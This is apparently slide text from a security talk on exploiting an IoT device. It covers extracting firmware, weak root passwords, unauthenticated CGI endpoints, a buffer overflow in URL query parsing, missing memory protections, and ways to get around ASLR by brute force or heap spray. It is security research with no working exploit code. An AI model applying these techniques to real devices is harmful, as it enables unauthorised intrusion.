- IoT Current Situation and Problems
- IoT Architecture and Exploit
- IoT Attack Roads to Rome

0x02 Vulnerability Mining

Environment Preview

Get firmware in ten ways

Software

Hardware

```
acted/squashfs-root# cat ./etc/init.d/S99
#!/bin/sh

HOME=/
PATH=/sbin:/bin:/usr/sbin:/usr/bin
runlevel=S
prevlevel=N
umask 022
export PATH runlevel prevlevel

#telnetd
```

Get general method

- Web-side command injection or buffer overflow
- Obtain the shell by the root weak password or not

Get information after first-look

- `telnetd` commented out in `etc/init.d/S99`
- Weak password found in `/etc/passwd`
- Armel architecture known by `file /bin/busybox`

0x02 Vulnerability Mining

Web Vulnerability

Static resources of the background pages can be seen in burp

Identity information is passed in url to get dynamic resources

Some cgis can be accessed without authentication

Some cgis can execute certain commands such as reboot

USELESS

A decorative horizontal banner with intricate, symmetrical scrollwork ends. The word "USELESS" is centered in a bold, sans-serif font.

0x02 Vulnerability Mining

Buffer Overflow

```
● 111     memset(&s, 0, 0x40u);
● 112     memset(&v26, 0, 0x40u);
● 113     if ( !parse_url_query((int)v62, "username", (int)&v36) || !parse_url_query((int)v62, "u", (int)&v36) )

36    v4 = strcspn(*const char **v7, "\r\n");
37    *(DWORD *) (v7 + 4) = v4;                // value length
38    return 0;
39 }
```

0x03 Debugging Environment

Get Debug Interface

Face Problems

- _CANNOT remote debug through telnet shell
- UART interface only has log output
- Cannot get system shell through modifying uboot init args

0x03 Debugging Environment

Get Debug Interface

0x04 Exploiting

Security Mechanism

- ❖ No GS
- ❖ No NX
- ❖ ASLR is 1, address of uClibc is indeed randomized
- ❖ Vectors segment address range is fixed
- ❖ Watchdog exists in kernel module

```

0x04 Exploiting

Exploit Plan

Bypass ASLR

- Information leak: http response is limited, unlike the serial port
- Violent hacking: program is restarted after crash
- Heap spray: processing thread uses shared heap allocated by brk

0x04 Exploiting

Exploit Plan

Reverse Http Processing
